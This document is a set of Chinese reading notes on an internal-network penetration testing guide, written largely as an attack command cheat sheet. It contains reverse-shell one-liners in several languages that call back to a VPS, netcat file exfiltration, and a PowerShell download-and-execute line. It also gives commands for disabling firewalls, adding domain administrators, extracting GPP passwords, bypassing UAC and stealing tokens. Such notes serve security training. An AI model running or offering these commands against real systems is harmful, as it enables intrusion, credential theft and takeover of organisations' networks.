内网安全攻防-渗透测试指南 读书笔记

- 一、内网渗透测试基础
  - Powershell
    - 查看执行策略 Get-ExecutionPolicy
    - 设置执行策略 Set-ExecutionPolicy [options]
      - Restricted 脚本不能执行【默认设置】
      - RemoteSigned 本地脚本可以运行，远程脚本不能运行
      - AllSigned 受信任的签名脚本才能运行
      - Unrestricted 允许所有脚本运
    - 运行脚本 .\test.ps1
      - powershell.exe -ExecutionPolicy bypass -File powerup.ps1
      - powershell.exe -exec bypass -command "& {Import-Module c:\powerup.ps1;Invoke-AllChecks}"
    - 一些常用参数
      - -ExecutionPolicy bypass 绕过执行安全策略
      - -W hidden 隐藏窗口
      - -NonI 不提供交互式的提示
      - -NoP 不加载当前 用户的配置文件
      - -noexit 执行后不退出shell
      - -nologo 不显示powershell 版权信息
      - -enc xxxxxx 加载base64编码后的脚本内容
    - 32位与64位
      - 32位： powershell.exe -Nop -NonI -W hidden -exec bypass
      - 64位：%windir%\syswow64\windowspowershell\v1.0\powershell.exe -Nop -NonI -W hidden -exec bypass
- 二、内网信息收集
  - 手动信息收集
    - 查询网络配置信息：ipconfig /all
    - 查询操作系统及软件信息
      - 查询操作系统版本
        - systeminfo|findstr /B /C:"OS Name" /C:"OS Version" [英文版]
        - systeminfo|findstr /B /C:"OS 名称" /C:"OS 版本" [中文版]
      - 查看系统体系结构
        - echo %PROCESSOR_ARCHITECTURE%
      - 查看安装 的软件
        - wmic product get name,version
        - powershell "get-wmiobject -class Win32_product | select-Object -property name,version"
    - 查询本机服务信息：wmic service list brief
    - 查询进程列表
      - tasklist
      - wmic process list brief
    - 查询启动信息：wmic startup get command,caption
    - 查询计划任务：schtasks /query /fo LIST /v
    - 查看主机开机时间：net statistics workstation
    - 连接的会话：net session
    - 查询补丁
      - systeminfo
      - wmic qfe get caption,description,hotfixid,installedon
    - 查询共享
      - net share
      - wmic share get name,path,status
    - 防火墙操作

        - 查看防火墙状态：netsh firewall show config
        - 关闭防火墙
            - netsh firewall set opmode disable [server 2003]
            - netsh advfirewall set allprofiles state off [server 2003之后]
    - 查看代理设置
        - reg query "HKEY_CURRENT_USE6R\Software\Microsoft\windows\currentVersion\Internet Settings"
    - 远程连接服务
        - 查看远程连接端口
            - reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /V portNumber [需要将16进制数字进行转换]
            - tasklist /svc |findstr TermService 记住pid号 再执行netstat -ano|findstr [pid]
        - 开户远程连接端口
            - server 2003 & XP
                - wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
                - REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
            - server2008/7/2012
                - wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call set allowtsconnections 1
                - wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
                - reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
                - 7和2012只需要前两条即可
- 自动信息收集
    - wmic_info.bat [下载地址：http://www.fuzzysecurity.com/scripts/files/wmic_info.rar]
    - Empire下的信息收集
        - usemodule situational_awareness/host/winenum
- 查看当前权限
    - 查看当前权限： whoami
    - 获取域SID：whoami /all
    - 查询指定用户的详细信息：net user xxx /domain
- 判断是否存在域
    - ipconfig /all [看主DNS 后缀]
    - systeminfo [看 域 ， 如果为workgroup即不在域环境]
    - net config workstation[看 域 ， 如果为workgroup即不在域环境]
    - 判断主域：net time /domain
        - 拒绝访问：存在域，但当前用户不是域用户
        - 回显时间：存在域，且当前用户为域用户
        - 找不到workgroup的域控制器：不存在域
- 探测域内存活主机
    - 利用NetBIOS快速探测
        - nbtscan 192.168.1.1/20 [下载地址：http://www.unixwiz.net/tools/nbtscan.html#download]
            - sharing :正在运行文件和打印共享服务，不一定有内容共享
            - dc: 可能是域控制器
            - u=user : 有登陆名为User的用户
            - IIS: 可能安装了IIS服务
            - exchange: 可能安装了exchange
            - notes : 可能安装了lotus notes 邮件客户端
            - ? : 未识别出该机器 的NetBios资源
    - 利用ICMP协议探测
        - 循环ping: for /L %I in (1,1, 254) do @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
        - VBS脚本
    - 通过ARP扫描探测
        - apr-scan工具： arp.exe -t 192.168.1.1/24 [下载地址：https://gitee.com/RichChigga/arp-scan-windows]

        - Empire中的arpscan模块：usemodule situational_awareness/network/arpscan
        - Nishang中的Invoke-ARPScan.ps1脚本
            - powershell.exe -exec bypass -Command "& {Import-Module c:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.1/24}" >> c:\log.txt
    - 通过常规TCP/UDP端口扫描
        - scanline工具
            - scanline -h -t 20,80-89,110,389,445,3389,1099,7001,3306,1433,8080,1521 -u 53,161 -O c:\log.txt -p 192.168.1.1-254 /b
- 扫描域内端口
    - 利用telnet命令扫描
        - telnet DC 1433
    - s扫描器
        - s.exe tcp 192.168.1.1 192.168.1.254 445,1433,3389,7001 256 /Banner /save
    - Metasploit端口扫描
        - use auxiliary/scanner/portscan/tcp
    - PowerSploit的Invoke-portscan.ps1脚本
        - powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Host 192.168.1.1/24 -T4 -ports '445,3389,1433,8080,7001' -oA c:\log.txt"
    - Nishang的Invoke-PortScan模块
        - Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ScanPort [探测存活 -ResolveHost]
- 收集域内基础信息
    - 查询域：net view /domain
    - 查询 域内所有机器：net view /domain:domainName
    - 查询域内所有用户组：net group /domain
        - 域管理员：Domain Admins
        - 域内机器： Domain Computers
        - 域控制器：Domain Controllers
        - 域访客： Domain Guest
        - 域用户：Domain Users
        - 企业系统管理员用户：EnterpriseAdmins
    - 查询所有域成员计算机列表：net group "domain computers" /domain
    - 获取域信息信息： nltest /domain_trusts
- 查找域控制器
    - 查看域控制器的机器名：nltest /DCLIST:domainName
    - 查看域控制器的主机名：nslookup -type=SRV_ldap._tcp
    - 查看域控制器组：net group "Domain Controllers" /domain
- 获取域内用户和管理员
    - 查询所有域用户列表
        - 向域控制器查询： net user /domain
        - 获取域内用户的详细信息： wmic useraccount get /all
        - 查看存在的用户：dsquery user
    - 查询域管理员用户级
        - 查询域管理员用户：net group "Domain admins" /domain
        - 查询管理员用户组：net group "Enterprise Admins" /domain
- 定位域管理员
    - 常用域管理员定位 工具
        - psloggedon.exe [下载地址：https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon]
            - 可以查看本地登录的用户和通过本地计算机或远程计算机的资源登陆的用户。psloggedon /? 查看帮助文档
        - PVEFindADUser.exe [下载地址：https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn]
            - 可用于查找 活动目录用户登陆的位置、枚举域用户、以及查找 在特定计算机上登陆的用户。
        - netview.exe[下载地址：https://github.com/mubix/netview]
            - 使用WinAPI枚举系统用户，利用NetSessionEnum寻找登陆会话，利用NetShareEnum寻找共享,利用NetWkstaUserEnum枚举登陆的用户

- Nmap的NSE脚本
  - smb-enum-sessions.nse：获取远程机器的登陆会话
  - smb-enum-domains.nse：对域控制器进行信息收集，获取主机信息、用户、可使用密码策略的用户
  - smb-enum-users.nse：
  - smb-enum-shares.nse：遍历远程主机的共享目录
  - smb-enum-processes.nse：遍历主机的系统进程
  - smb-os-discovery.nse：收集目标主机的操作系统、计算机名、域名、域林名称、NetBios机器名、NetBIOS域名、工作组、系统时间等
- PowerView脚本
  - Invoke-StealthUserHunter
    - 只需要一次查询，就可以获取域里面的所有用户。PowerView默认使用Invoke-StealthUserHunter，如果找不到需要的信息，就使用Invoke-UserHunter
  - Invoke-UserHunter
    - 找到域内特定的用户群，接收用户名、用户列表和域组查询，接收一个主机列表或查询 可用的主机域名
    - powershell.exe -exec bypass -Command "& {Import-module C:\powerview.ps1;Invoke-UserHunter}"
- Empire的user_hunter模块
  - usemodule situational_awareness/network/powerview/user_hunter 可用于查找域管理员登陆的机器

- 查找域管理进程
  - 本机检查
    - net group "Domain Admins" /domain
    - tasklist /svc
  - 查找域控制器的域用户会话
    - 查找域控制器列表：net group "Domain Controllers" /domain
    - 查找域管理员列表：net group "Domain Admins" /domain
    - 查找所有活动域的会话列表：netsess -h [下载地址：http://www.joeware.net/freetools/tools/netsess/index.htm]
    - 交叉引用域管理员列表与活动会话列表
      - 下列脚本可以快速使用netsess.exe的windows命令行：for /F %i (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>null > sessions.txt && FOR /F %a in (admins.txt) do @type sessions.txt | @findstr /I %a
      - Get Domain Admin(GDA)批处理脚本[下载地址：https://github.com/nullbind/Other-Projects/tree/master/GDA]
  - 查询远程系统中运行的任务
    - for /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>Nul > output.txt && for /F %n in (names.txt) do @type output.txt | findstr %n > NUL && echo [!] %n was found runnning a process on %i && pause
  - 扫描远程系统的NetBIOS信息
    - for /F %i in (ips.txt) do @echo [+] checking %i && nbtstat -A %i 2>NUL > nbsessions.txt && for /F %n in (admins.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
    - 将域机器列表写入ips.txt ,收集到的域管理员列表写入admins.txt
    - for /F %i in (ips.txt) do @echo [+] checking %i && nbtscan -f %i 2>NUL > nbsessions.txt && for /F %n in (admins.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
- 域管理员模拟方法
  - 如果已经拥有一个meterpreter会话，可以使用Incognito来模拟 域管理员或者添加一个域管理员，通过尝试遍历系统中所有可用的授权令牌来添加新的管理员。
- 利用Powershell收集域信息
  - powersploit\recon\powerview.ps1
    - Get-NetDomain: 获取当前用户所在域名称
    - Get-NetUser:获取所有用户的详细信息
    - Get-NetDomainController：获取所有域控制器的信息
    - Get-NetComputer：获取域内所有机器的详细信息
    - Get-NetOU：获取域内的OU信息
    - Get-NetGroup：获取所有域内组和组成员的信息
    - Get-NetFileServer：根据SPN获取域内使用的文件服务器信息
    - Get-NetShare：获取域内所有的网络共享信息
    - Get-NetSession：获取指定服务器的会话
    - Get-Netprocess：获取远程主机的进程

        - Get-UserEvent：获取指定用户的日志
        - Get-ADObject：获取活动目录对象
        - Get-DomainPolicy：获取域默认策略或域控制器策略
        - Invoke-UserHuter：获取域用户登陆的计算机信息及该用户是否有本地管理员权限
        - Invoke-ProcessHunter：通过查询 域内所有机器 进程找到特定用户
        - Invoke-userEventHunter：根据用户日志查询 某域用户登陆过哪些域机器
    - 域分析工具BloodHound
        - 配置环境[下载地址：https://github.com/BloodHoundAD/BloodHound/]
        - 采集数据
            - bloodhound分析时需要调用活动目录的三条信息
                - 哪些 用户登陆了哪些机器
                - 哪些用户拥有管理员权限
                - 哪些用户和组属于哪些组
                - SharpHound.exe -c all
        - 导入数据
            - 上传SharpHound.exe生成的zip文件
        - 查询数据
            - Find all Domain Admins 选择需要查询的域名，查找 所有域管理员
            - Find Shortest Paths to domain Admins 查找到达域管理员的最短路径
- 三、隐藏通信隧道技术
    - 判断内网联通性
        - ICMP协议：ping
        - TCP协议：nc\ncat
        - HTTP协议：curl\wget
        - DNS协议：nslookup\dig
            - nslookup www.baidu.com vps_ip
            - dig @vps_ip www.baidu.com A
    - 网络层隧道技术
        - IPv6隧道
            - 工具：socat、6tunnel、nt6tunnel等
        - ICMP隧道
            - icmpsh [下载地址：https://github.com/inquisb/icmpsh.git]
                - 安装python-impacket类库：apt-get install python-impacket 关闭系统的ICMP应答：sysctl -w net.ipv4.icmp_echo_ignore_all=1
            - PingTunnel[下载地址：http://freshmeat.sourceforge.net/projects/ptunnel/]
                - 目标机器[192.168.1.4\1.1.1.10]运行：ptunnel -x shuteer 已控制机器[192.168.1.1]执行：ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.11 -dp 3389 -x shuteer
                - -x 指定ICMP连接的密码；-lp 指定要监听的本地TCP端口；-da 指定要转发的目标机器IP地址；-dp 指定要转发的目标机器TCP端口；-p 指定ICMP隧道另一端IP地址
    - 传输层隧道技术
        - lcx端口转发
            - 内网端口转发
                - 将目标机器3389端口转发到公网VPS4444端口：lcx.exe -slave VPS_IP 4444 127.0.0.1 3389 在VPS上执行：lcx.exe -listen 4444 5555 本地mstsc连接VPS_IP:5555端口即目标机器 的3389
            - 本地端口映射
                - 部分端口[如3389]无法通过防火墙：lcx.exe -tran 53 127.0.0.1 3389
        - netcat
            - 文件传输
                - VPS上运行：nc -lv 12345 > 1.txt 目标机器上运行：nc -vn VPS_IP 333 < pass.txt -q 1
            - 正向Shell
                - 目标机器上执行 [Linux]nc -lvvp 4444 -e /bin/sh [Windows] nc -lvvp 4444 -e c:\windows\system32\cmd.exe 本地执行：nc 目标机器外网IP 4444
            - 反向Shell

- VPS上执行：nc -lvvp 9999 目标主机上执行：[Linux] nc VPS_ip 9999 -e /bin/sh [Windows] nc VPS_IP 9999 -e c:\windows\system32\cmd.exe
- 目标主机没有NC时获取反向Shell
  - Python
    - python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_ip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  - Bash
    - bash -i >& /dev/tcp/VPS_IP/9999 0>&1
  - PHP
    - php -r '$sock=fsockopen("VPS_ip",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
  - Perl
    - perl -e 'use Socket;$i="VPS_ip";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  - Ruby
    - ruby -rsocket -e'f=TCPSocket.open("VPS_ip",9999).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
- 内网代理
  - VPS上执行：nc -lvvp 3333 二级内网机器：nc -lvvp 4444 -e /bin/sh 边界WEB服务器：nc -v VPS_ip 3333 -c "nc -v 二级内网机器IP 4444"

- PowerCat[下载地址：https://github.com/besimorhino/powercat.git]
  - 导入：Import-Module .\powercat.ps1
  - nc正向连接powercat
    - 目标机器执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -p 888 -e cmd.exe -V}" 本地执行：nc 目标机器IP 888
  - nc反向连接powercat
    - VPS执行：nc -lvvp 4444 目标机器执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -c VPS_ip -p 4444 -v -e cmd.exe}"
  - 通过PowerCat传输文件
    - 目标机器执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -p 9999 -of test.txt -v }" 本地执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -c aaa -p 9999 -i c:\test.txt -v }"
  - 通过PowerCat生成Payload
    - 正向Shell
      - 本地生成Payload：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -p 8000 -e cmd.exe -v -g >> shell.ps1}" 上传至目标执行：powershell.exe -c ".\shell.ps1" 本地执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -c 127.0.0.1 -p 8000 -v}"
      - VPS执行：nc -lvvp 4444 本地生成Payload：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -c 118.24.74.232 -p 4444 -e cmd.exe -v -g >> shell.ps1}" 上传至目标执行：powershell.exe -c ".\shell.ps1"
  - PowerCat DNS隧道
    - VPS安装dnscat[下载地址：https://github.com/iagox86/dnscat2.git]
      - git clone https://github.com/iagox86/dnscat2.git
      - cd dnscat2/server
      - yum install -y ruby
      - gem install bundler
      - bundler install
      - ruby dnscat2.rb ttpowercat.test -e open --no-cache
    - 目标机器执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -c VPS_IP -p 53 -dns ttpowercat.test -e cmd.exe}"
  - 通过PowerCat作为内网代理
    - 二级内网机器执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -p 9999 -e cmd.exe -v}"
    - 边界机器执行：powershell.exe -c "& {Import-module .\powercat.ps1;powercat -l -v -p 8000 -r tcp:二级内网机器IP:9999}"
    - VPS执行：nc 边界机器外网IP 8000 -vv

- 应用层隧道技术
  - SSH协议
    - 常见参数说明
      - -C 压缩传输，提高传输速度
      - -f 将SSH传输转入后台执行，不占用当前Shell

        - -N 建立 静默连接
        - -g 允许远程主机连接本地用于转发的端口
        - -L 本地端口转发
        - -R 远程端口转发
        - -D 动态转发（Socks代理）
        - -P 指定SSH端口
      - 本地转发
        - 外网边界服务器将内网机器3389端口转发出来
          - VPS上执行：ssh -CFNg -L 1153:内网机器IP:3389 root@外网边界服务器IP
          - 本地访问VPS:1153端口，即内网机器3389
      - 远程转发
        - 内网边界服务器执行：ssh -CfNg -R 1153:内网机器IP:3389 root@VPS_IP
        - 本地访问VPS:1153端口，即内网机器3389
      - 动态转发
        - 在VPS上执行命令：ssh -CfNg -D 7000 root@外网边界服务器
        - 本地配置Proxifier设置VPS_IP:7000端口Socks5代理
    - HTTP/HTTPS协议
      - 常见工具：reDuh、reGeorg、meterpreter、tunna等
      - reGeorg
        - 上传对应版本的webshell
        - python reGeorgSocksProxy.py -u webshell地址 -p 9999
        - 本地配置Proxifier设置127.0.0.1:9999端口Socks5代理
    - DNS协议
      - dnscat2
        - 太复杂了，自己百度
      - iodine[kali内置]
        - 太复杂了，自己百度
- Socks代理
  - 常用Socks代理工具
    - EarthWorm、reGeorg、sSocks、SocksCap64、Proxifier、proxyChains
  - EarthWorm
    - 正向Socks 5
      - 适用于目标机器拥有外网IP: ew -s ssocksd -l 888
    - 反向Socks 5
      - VPS上执行：ew -s rcsocks -l 1008 -e 888 内网机器执行：ew -s rssocks -d VPS_IP -e 888
    - 二级内网代理
      - 边界机器有外网IP
        - 二级内网机器执行：ew -s ssocksd -l 888
        - 边界机器执行： ew -s lcx_tran -l 1080 -f 二级内网机器IP -g 888
        - 设置Socks5代理为边界机器外网IP:1080
      - 边界机器无外网IP
        - VPS上执行：ew -s lcx_listen -l 1080 -e 888
        - 二级内网机器执行：ew -s ssocksd -l 999
        - 边界机器上执行：ew -s lcx_slave -d VPS_IP -e 888 -f 二级内网机器IP -g 999
- 压缩数据
  - RAR
    - 常见参数
      - a 添加要压缩的文件
      - -k 锁定压缩文件
      - -s 生成存档文件
      - -p 指定压缩密码
      - -r 递归压缩，包括子目录

- -x 指定要排除的文件
- -v 分卷压缩
- -ep 从名称中排除路径
- -m
  - -m0 存储，添加到压缩文件时不压缩文件
  - -m1 最快
  - -m2 较快
  - -m3 标准
  - -m4 较好
  - -m5 最好
- 将e:\web\目录下所有文件打包为1.rar 放到e:\web\目录下
  - rar.exe a -k -r -s -m3 E:\web\1.rar E:\web
- 7-Zip
  - 常见参数
    - -r 递归压缩
    - -o 指定输入目录
    - -p 指定密码
    - -v 分卷压缩
    - a 添加压缩文件
  - 将e:\web\目录下所有文件打包为1.rar 放到e:\web\目录下
    - 7z.exe a -r -p 123456 E:\web\1.7z E:\web\
- 上传和下载[这一节，书的内容全是瞎抄CSDN]
  - 利用FTP协议上传
  - 利用VBS上传
  - 利用Debug上传
  - 利用NiShang上传
  - 利用bitsadmin下载
- 四、权限 提升
  - 系统内核溢出漏洞提权
    - 手动执行命令发现缺失补丁
      - wmic qfe get Caption,Description,HotFixID,InstalledOn
      - MS16-032
        - 导入Invoke-MS16-032.ps1后，Invoke-MS16-032 -Application cmd.exe -Command "/c net user 1 1 /add"
    - 利用Metasploit发现缺失补丁
      - use post/windows/gather/enum_patches
    - Windows Exploit Suggester
      - 更新漏洞库：./windows-exploit-suggester.py --update
      - 查找漏洞：./windows-exploit-suggester.py -d 2020-07-20-mssb.xls -i patches.txt(patches.txt内容为systeminfo命令结果)
    - PowerShell中的Sherlock脚本[下载链接：https://github.com/rasta-mouse/Sherlock]
      - 导入：Import-Module c:\Sherlock.ps1
      - 查找漏洞：Find-AllVulns
  - 系统配置错误利用
    - 系统服务权限配置错误
      - PowerUp下的实战利用[下载链接：https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1]
        - powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
        - OmniServers服务漏洞(利用Install-ServiceBinary模块通过WriteServiceBinary编写一个C#服务来添加用户。重启系统，该服务将停止运行并自动添加用户)
          - powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Install-ServiceBinary -ServiceName 'OmniServers' -UserName shuteer -Password Password123!}"
      - Metasploit下的实战利用
        - 把meterpreter shell转为后台执行
        - use exploit/windows/local/service_permissions 设置SESSION为后台的ID，执行run之后，系统将自动反弹一个新的meterpreter,getuid为system

- 注册表键AlwaysInstallElevated
  - Windows允许低权限用户以system权限运行安装文件，如果启用此策略选项，那么任何权限用户都能以 NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件
  - AlwaysInstallElevated漏洞产生原因
    - 运行gpedit.msc打开组策略
    - 组策略--计算机配置--管理模板--Windows 组件--Windows Installer--永远以高特权进行安装 ，选择启用
    - 组策略--用户配置--管理模板--Windows 组件--Windows Installer--永远以高特权进行安装 ，选择启用
  - PowerUp下的实战
    - powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegAlwaysInstallElevated}" 返回true，即存在该漏洞
    - powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;WriteUserAddMSI}" 生成添加用户的msi
    - msiexec /q /i useradd.msi
      - /quiet: 在安装过程中禁止向用户发送消息
      - /qn: 不使用GUI
      - /i：安装程序
    - 也可以用MSFr exploit/windows/local/always_install_elevated模块
- 可信任服务路径漏洞
  - Trusted Service Paths 漏洞产生的原因
    - Windows服务通常以system权限运行，所以系统 在解析服务所对应的文件路径中的空格时，也会以系统权限进行
  - Metasploit下的实战利用
    - wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """ 查看服务对应的路径包含空格且没有被引号引起来
    - 检测是否有对目标文件夹的写权限： icacls "c:\program Files\grogram folder"
      - Everyone:(OI)(CI)(F)
        - (M) 修改
        - (F) 完全控制
        - (CI) 从属容器将继承访问控制基
        - (OI) 从属文件将继承访问控制基
    - 确认存在漏洞后，把要上传的程序重命名并放置在此漏洞且可写的目录，尝试重启服务
      - sc stop service_name
      - sc start service_name
    - msf trusted_serivce_path模块
- 自动安装配置文件
  - 常见配置文件列表[常包含帐号密码]
    - c:\sysprep.inf
    - C:\sysprep\sysprep.xml
    - c:\windows\system32\sysprep.xml
    - c:\windows\system32\sysprep\sysprep.xml
    - c:\Unattended.xml
    - C:\Windows\Panther\Unattend.xml
    - C:\Windows\Panther\Unattended.xml
    - C:\Windows\Panther\Unattend\Unattend.xml
    - C:\Windows\Panther\Unattend\Unattended.xml
    - c:\windows\system32\sysprep\Unattend.xml
    - c:\windows\system32\sysprep\Panther\Unattend.xml
  - Metasploit脚本：post/windows/gather/enum_unattend
- 计划任务
  - 查看计划任务：schtasks /query /fo LIST /v
  - 如果对高权限运行的任务计划所在的目录有写权限，就可以使用恶意程序覆盖原来的程序
    - 自动接受许可协议 accesschk.exe /accepteula
    - 列出所有权限 配置有缺陷的文件夹
      - accesschk.exe -qwsu "Users" *
      - accesschk.exe -qwsu "Authenticated Users" *

        - accesschk.exe -qwsu "Everyone" *
    - Empire 内置模块
        - usemodule privesc/powerup/ 然后按tab键可查看powerup的模块列表
        - usemodule privesc/powerup/allchecks再输入execute可自动执行全部检查
            - 没有被 引号引起来的服务路径
            - ACL配置错误的服务
            - 服务的可执行文件的权限 设置不当
            - Unattend.xml
            - 注册表键AlwaysInstallElevated
            - 如果有Autologon凭证，都会留在注册表中
            - 加密的web.config字符串和应用程序池中的密码
            - %PATH% .dll 的劫持机会
- 组策略首选项
    - 常见的组策略首选项
        - 映射驱动器
        - 创建本地用户
        - 数据 源
        - 打印机配置
        - 创建/更新服务
        - 计划任务
    - 获取组策略的凭据
        - 管理员在域中新建一个组策略后，操作系统 会自动在SYSVOL共享目录中生成一个XML文件，该文件保持了组策略更新后的密码。
            - 手动搜索： type \\dc\SYSVOL\domain\Policies\{ABDAFB3B-920B-4A1A-9B47-B0D8721244D4}\Machine\Preferences\Groups\Groups.xml
                - 解密： python gpprefdecrypt.py LdN1Ot2OiiJSC/e+nROCMw
            - Powershell获取
                - PowerSploit中的Get-GPPPassword.ps1
            - Metasploit查询cpassword
                - use post/windows/gather/credentials/gpp
            - 使用Empire查找cpassword
                - usemodule privesc/gpp
            - 其它配置文件
                - Services\Services.xml
                - ScheduledTasks\ScheduledTasks.xml
                - Printers\Printers.xml
                - Drives\Drives.xml
                - DataSources\DataSources.xml
        -
- 绕过UAC提权
    - 需要UAC授权的操作如下：
        - 配置Windows Update
        - 增加/删除用户
        - 更改帐户类型
        - 更改UAC设置
        - 安装 ActiveX
        - 安装/卸载程序
        - 安装 设备驱动程序
        - 将文件移动/复制到program files或windows目录下
        - 查看其它用户的文件夹
    - UAC的四种设置要求
        - **始终通知**：每当有程序 需要使用高级别的权限 时都会提示本地用户
        - **仅在程序 试图更改我的计算机时通知我**：默认设置。当第三方程序 使用高级别的权限 时会提示本地用户

        - **仅在程序 试图更改我的计算机时通知我（不降低桌面的亮度）**：与上相同，但提示时不降低桌面的亮度
        - **从不提示**：当用户为系统管理员时，所有程序 都会以最高权限运行
    - ByPassUAC模块
        - 后台运行获取的管理员权限meterpreter,use exploit/windows/local/bypassuac模块，再设置刚刚的session id，run即可获取新的meterpreter，执行getsystem,即可获取system权限shell
    - RunAs模块
        - 后台运行获取的管理员权限meterpreter，use exploit/windows/local/ask模块，创建一个可执行文件，执行run命令后目标机器会弹一个UAC对话框，点击“是”之后 即可获取新的meterpreter
            - 在使用RunAs模块时，需要使用EXE::Custom选项创建一个可执行文件，需要进行免杀处理
    - NiShang中的Invoke-PsUACme模块
        - Invoke-PsUACme -Verbose //使用Sysprep方法执行默认的payload
        - Invoke-PsUACme -method oobe -Verbose //使用oobe方法并执行默认的payload
        - Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e Encoded_Payload" //使用-payload参数执行自定义的payload
    - Empire中的bypassuac模块
        - bypassuac模块
            - usemodule privesc/bypassuac 设置监听器参数，执行execute命令，得到一个新的shell，回到agents下，执行list命令，username一栏中带*号打头的即已bypassuac
        - bypassuac_wscript模块
            - 使用c:\windows\wscript.exe执行payload 即绕过UAC，以管理员权限执行payload。该模块只适用于WIN7，暂无补丁
- 令牌窃取
    - Metasploit
        - 在已获取 的meterpreter的环境中，输入use incognito命令，然后再输入list_tokens -u命令，列出可用的令牌
            - 令牌分两种：Delegation Token即授权令牌，支持交互式登陆；Impersonation Token模拟令牌，支持非交互式会话
            - impersonate_token WIN-57123456\\Administrator[这里需要输入两个\\] 再输入shell 进入cmd，执行whoami即为administrator用户了
    - Rotten Potato本地提权
        - 在已获取 的meterpreter的环境中，输入use incognito命令，然后再输入list_tokens -u命令，列出可用的令牌
        - 上传rottenpotato.exe至目标服务器，执行execute -HC -f rottenpotato.exe 再执行impersonate_token "NT AUTHORITY\\SYSTEM",再getuid即可发现已经是system权限 了
    - 添加域管理员
        - 假设网络中设置了域管理进程，在meterpreter会话窗口中输入"ps"命令，查看域管理进程，并使用migrate命令迁移到该进程，输入shell后输入以下命令
            - net user test test /add /domain
            - net group "domain admins" test /add /domain
        - 在metterpreter环境中，使用incognit来模拟域管理员，然后通过迭代系统 中所有可用的身份令牌来添加域管理员
            - add_user test test -h 1.1.1.2
            - add_group "Domain Admins" test -h 1.1.1.2
    - Empire下的令牌窃取
        - 在Empire下获取服务器权限后，执行mimikatz命令，再输入creds命令，即可查看Empire列举出来 的密码
        - 执行命令 pth <ID>命令，就能窃取指定id对应用户的令牌[ID为列举出来的CredID]
        - 执行ps命令，查看当前是否有域用户的进程正在运行，执行steal_token <PID> 即可获取指定进程令牌
- 无凭证条件下的权限 获取
    - LLMNR和NetBIOS
        - Responder[下载链接：https://github.com/SpiderLabs/Responder.git]
            - python Responder.py -I eth0 -wrf
- 五、域内横向移动
    - 常用Windows远程连接和相关命令
        - IPC
            - 通过IPC$可以与目标机器 建立连接，不仅可以访问目标机器 中的文件，进行上传下载操作，还可以在目标机器上执行其它命令
            - net user \\192.168.1.1\ipc$ "password" /user:administrator 再执行net user可查看当前建立的连接
            - IPC$的利用条件
                - 开启了139、445端口
                - 管理员开启了默认共享

- IPC$连接失败的原因
  - 用户名或密码错误
  - 目标没有打开IPC$默认共享
  - 不能成功连接目标的139、445端口
  - 命令输入错误
- 常见错误号
  - 5：拒绝访问
  - 51：无法找到网络路径
  - 53：找不到网络路径[IP错误，未开机，lanmanserver服务未启动，目标有防火墙]
  - 67：找不到网络名[lanmanserver服务未启动、IPC$被删除]
  - 1219：提供的凭据与已存在的凭据集冲突
  - 1326：未知的用户名或错误密码
  - 1792：试图登陆，但网络登陆服务未启动
  - 2422：密码已过期
- 使用Windows自带的工具获取远程主机信息
  - dir命令
    - 在使用net user与目标建立ipc$连接后，可执行命令dir \\192.168.1.1\c$
  - tasklist命令
    - 在使用net user与目标建立ipc$连接后，可执行命令tasklist /S 192.168.1.1 -U administrator /P password
- 计划任务
  - at命令
    - 查看目标时间：net time \\192.168.1.1
    - 将文件复制到目标系统中： copy test.exe \\192.168.1.1\c$
    - 使用at创建计划任务：at \\192.168.1.1 4:11PM c:\test.exe
